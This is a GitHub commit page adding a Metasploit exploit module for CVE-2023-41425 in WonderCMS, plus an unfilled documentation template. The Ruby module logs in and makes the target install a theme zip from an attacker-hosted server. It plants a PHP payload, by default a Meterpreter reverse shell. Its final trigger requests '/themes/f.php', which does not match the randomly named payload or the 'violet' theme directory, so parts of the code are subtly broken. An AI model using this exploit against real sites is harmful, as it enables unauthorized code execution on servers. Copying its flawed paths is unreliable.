Skip to content

Commit 665065e

Browse files
committed
Module init
1 parent 329cbc7 commit 665065e

File tree

2 files changed

+204
-0
lines changed

2 files changed

+204
-0
lines changed
Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
## Vulnerable Application
2+
3+
Instructions to get the vulnerable application. If applicable, include links to the vulnerable install
4+
files, as well as instructions on installing/configuring the environment if it is different than a
5+
standard install. Much of this will come from the PR, and can be copy/pasted.
6+
7+
## Verification Steps
8+
Example steps in this format (is also in the PR):
9+
10+
1. Install the application
11+
1. Start msfconsole
12+
1. Do: `use [module path]`
13+
1. Do: `run`
14+
1. You should get a shell.
15+
16+
## Options
17+
List each option and how to use it.
18+
19+
### Option Name
20+
21+
Talk about what it does, and how to use it appropriately. If the default value is likely to change, include the default value here.
22+
23+
## Scenarios
24+
Specific demo of using the module that might be useful in a real world scenario.
25+
26+
### Version and OS
27+
28+
```
29+
code or console output
30+
```
31+
32+
For example:
33+
34+
To do this specific thing, here's how you do it:
35+
36+
```
37+
msf > use module_name
38+
msf auxiliary(module_name) > set POWERLEVEL >9000
39+
msf auxiliary(module_name) > exploit
40+
```
Lines changed: 164 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,164 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'rex/zip'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpServer
12+
include Msf::Exploit::Remote::HttpClient
13+
prepend Msf::Exploit::Remote::AutoCheck
14+
15+
def initialize(info = {})
16+
super(
17+
update_info(
18+
info,
19+
'Name' => 'WonderCMS Remote Code Execution',
20+
'Description' => %q{
21+
This module adds exploit for CVE-2023-41425. The WonderCMS is simple, free and open-source management system. It contains file upload vulnerability in version 3.2.0 up to version 3.4.2, which allows authenticated users to upload malicious zip file, which gets parsed into theme directory. This vulnerability can be used to upload malicious PHP file.
22+
},
23+
'License' => MSF_LICENSE,
24+
'Author' => ['msutovsky-r7'],
25+
'References' => [
26+
[ 'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2023-41425'],
27+
[ 'CVE', '2023-41425']
28+
],
29+
'Targets' => [
30+
[
31+
'PHP',
32+
{
33+
'Platform' => ['php'],
34+
'Arch' => ARCH_PHP,
35+
'Type' => :php,
36+
'DefaultOptions' => {
37+
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
38+
}
39+
}
40+
]
41+
],
42+
'DisclosureDate' => '2023-11-07',
43+
'DefaultTarget' => 0,
44+
'Notes' => {
45+
'Stability' => [CRASH_SAFE],
46+
'Reliability' => [REPEATABLE_SESSION],
47+
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
48+
}
49+
)
50+
)
51+
52+
register_options([
53+
OptString.new('TARGETURI', [true, 'Path to the WonderCMS application', '/wondercms']),
54+
OptString.new('PASSWORD', [true, 'Password to log into WonderCMS', ''])
55+
])
56+
end
57+
58+
def login
59+
return if @logged_in
60+
61+
res = send_request_cgi({
62+
'method' => 'POST',
63+
'uri' => normalize_uri(target_uri.path, '/loginURL'),
64+
'keep_cookies' => true,
65+
'vars_post' => {
66+
'password' => datastore['PASSWORD']
67+
}
68+
})
69+
70+
fail_with(Failure::NoAccess, 'Incorrect credentials') unless res&.code == 302 && !res.headers&.fetch('Location', '')&.include?('loginURL')
71+
72+
@logged_in = true
73+
end
74+
75+
def check
76+
res = send_request_cgi({
77+
'method' => 'GET',
78+
'uri' => normalize_uri(target_uri.path, '/how-to')
79+
})
80+
return Exploit::CheckCode::Unknown('Cannot connect to WonderCMS server') unless res&.code == 200
81+
82+
return Exploit::CheckCode::Safe('WonderCMS was not detected') unless res.body&.include?('WonderCMS')
83+
84+
vprint_status('Target is probably WonderCMS..')
85+
86+
login
87+
88+
res = send_request_cgi!({
89+
'method' => 'GET',
90+
'uri' => normalize_uri(target_uri.path)
91+
})
92+
93+
return Exploit::CheckCode::Unknown('Failed to connect') unless res&.code == 200
94+
95+
html_document = res.get_html_document
96+
97+
html_document.xpath('//a').find { |link| link.text =~ /WonderCMS (\d.\d?\d?.\d?\d?)/ }
98+
99+
version = Rex::Version.new(Regexp.last_match(1))
100+
101+
return Exploit::CheckCode::Unknown('Unable to get version') unless version
102+
103+
return Msf::Exploit::CheckCode::Safe("WonderCMS #{version} is not affected") unless version <= Rex::Version.new('3.4.2') && version >= Rex::Version.new('3.2.0')
104+
105+
return Exploit::CheckCode::Vulnerable("Version #{version} is affected")
106+
end
107+
108+
def create_vulnerable_zip
109+
@payload_filename = "#{Rex::Text.rand_text_alphanumeric(3..12)}.php"
110+
files =
111+
[
112+
{ data: payload.encoded, fname: @payload_filename }
113+
]
114+
115+
@vuln_zip = Msf::Util::EXE.to_zip(files)
116+
end
117+
118+
def on_request_uri(cli, _request)
119+
print_status('Received request, sending payload..')
120+
send_response(cli, @vuln_zip)
121+
end
122+
123+
def install_malicious_component
124+
res = send_request_cgi!({
125+
'method' => 'GET',
126+
'uri' => normalize_uri(target_uri.path)
127+
})
128+
129+
return Exploit::CheckCode::Unknown('Failed to connect') unless res&.code == 200
130+
131+
html_document = res.get_html_document
132+
@token = html_document.at("input[@name='token']").attributes.fetch('value', nil)
133+
134+
return Exploit::CheckCode::Unknown('Failed to get token') unless @token
135+
136+
send_request_cgi!({
137+
'method' => 'GET',
138+
'uri' => normalize_uri(target_uri.path, "/?installModule=http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{@zip_filename}&directoryName=violet&type=themes&token=#{@token}")
139+
})
140+
end
141+
142+
def exploit
143+
login
144+
145+
create_vulnerable_zip
146+
147+
@zip_filename = "#{Rex::Text.rand_text_alphanumeric(4..8)}.zip"
148+
start_service({
149+
'Uri' => {
150+
'Proc' => proc do |cli, req|
151+
on_request_uri(cli, req)
152+
end,
153+
'Path' => "/#{@zip_filename}"
154+
}
155+
})
156+
157+
install_malicious_component
158+
159+
send_request_cgi!({
160+
'method' => 'GET',
161+
'uri' => normalize_uri(target_uri.path, '/themes/f.php')
162+
})
163+
end
164+
end

0 commit comments

Comments
 (0)